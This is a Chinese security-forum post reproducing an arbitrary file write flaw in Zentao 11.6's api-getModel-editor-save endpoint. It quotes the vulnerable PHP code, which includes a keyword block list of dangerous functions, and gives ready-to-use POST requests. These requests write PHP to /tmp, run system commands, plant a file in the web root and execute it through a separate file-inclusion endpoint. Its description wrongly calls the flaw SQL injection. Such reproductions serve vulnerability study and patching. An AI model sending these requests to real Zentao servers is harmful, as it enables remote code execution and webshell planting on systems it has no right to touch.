问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Zentao 11.6 api-getModel-editor-save-filePath 任意文件写入漏洞
# Zentao 11.6 api-getModel-editor-save-filePath 任意文件写入漏洞 ## 漏洞描述 Zentao 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入 ## 影响版本...
Zentao 11.6 api-getModel-editor-save-filePath 任意文件写入漏洞 ====================================================== 漏洞描述 ---- Zentao 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入 影响版本 ---- Zentao 11.6 环境搭建 ---- 这里使用docker环境搭建 ```plain docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6 ``` ![img](https://shs3.b.qianxin.com/butian_public/f3297959c03048955d3896b9da21e63c614f27d8fe977.jpg) 漏洞复现 ---- 这里造成漏洞的原因同样是调用接口权限无限制的原因 接口出现漏洞的原因具体参考可以查看上一篇 `Zentao 11.6版本 SQL注入漏洞` 关于此漏洞的完整分析 查看`module/api/ediyor/moudel.php`下的`save方法` ```php public function save($filePath) { $fileContent = $this->post->fileContent; $evils = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert'); $gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t'); $fileContent = str_ireplace($gibbedEvils, $evils, $fileContent); if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent); $dirPath = dirname($filePath); $extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4); if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true); if(is_writable($dirPath)) { file_put_contents($filePath, $fileContent); } else { die(js::alert($this->lang->editor->notWritable . $extFilePath)); } } ``` `$filePath参数和$fileContent参数` 我们是可控的 调用方法往 `/tmp`写入一个`phpinfo()` ```plain POST /api-getModel-editor-save-filePath=/tmp/shell.php fileContent=<?php phpinfo();?> ``` ![img](https://shs3.b.qianxin.com/butian_public/f9632826ee545080f4f4a5279f813abf80fc93dbb3d48.jpg) ![img](https://shs3.b.qianxin.com/butian_public/f539437f56f3be5695265997ce3f5db774b40b7d6866e.jpg) 在利用 Zentao 11.6版本 任意文件读取漏洞 第二种方法来文件包含 ```plain /api-getModel-api-getMethod-filePath=/tmp/shell/1 ``` ![img](https://shs3.b.qianxin.com/butian_public/f6087083c6aeabb8530b4cf245277031e562e6112f57c.jpg) 也可以写入网站目录中 先获取地址 ```plain POST /api-getModel-editor-save-filePath=/tmp/shell fileContent=<?php system('find / -name ioncube.php')?>');?> ``` 访问 `/api-getModel-api-getMethod-filePath=/tmp/shell/1` ![img](https://shs3.b.qianxin.com/butian_public/f8565646624ac183f5efdf4a81aba2e4fe5eceed41e7e.jpg) 得到目录为 `/app/zentaopma/www` 请求改为 ```plain POST /api-getModel-editor-save-filePath=/tmp/shell fileContent=<?php file_put_contents('/app/zentaopms/www/xxx.php', '<?php phpinfo();?>');?> ``` 再去访问 /api-getModel-api-getMethod-filePath=/tmp/shell/1,则会再网站目录下生成 xxx.php 文件 ![img](https://shs3.b.qianxin.com/butian_public/f5540874cb7d37cff389b136c5a9a3e5d0ac9e81e0fa0.jpg) ![img](https://shs3.b.qianxin.com/butian_public/f46407878e818d86b3a6085cda0ecaee361dcc48443e5.jpg)
发表于 2024-07-12 18:43:58
阅读 ( 1073 )
分类:
CMS
0 推荐
收藏
0 条评论
请先
登录
后评论
带头大哥
456 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!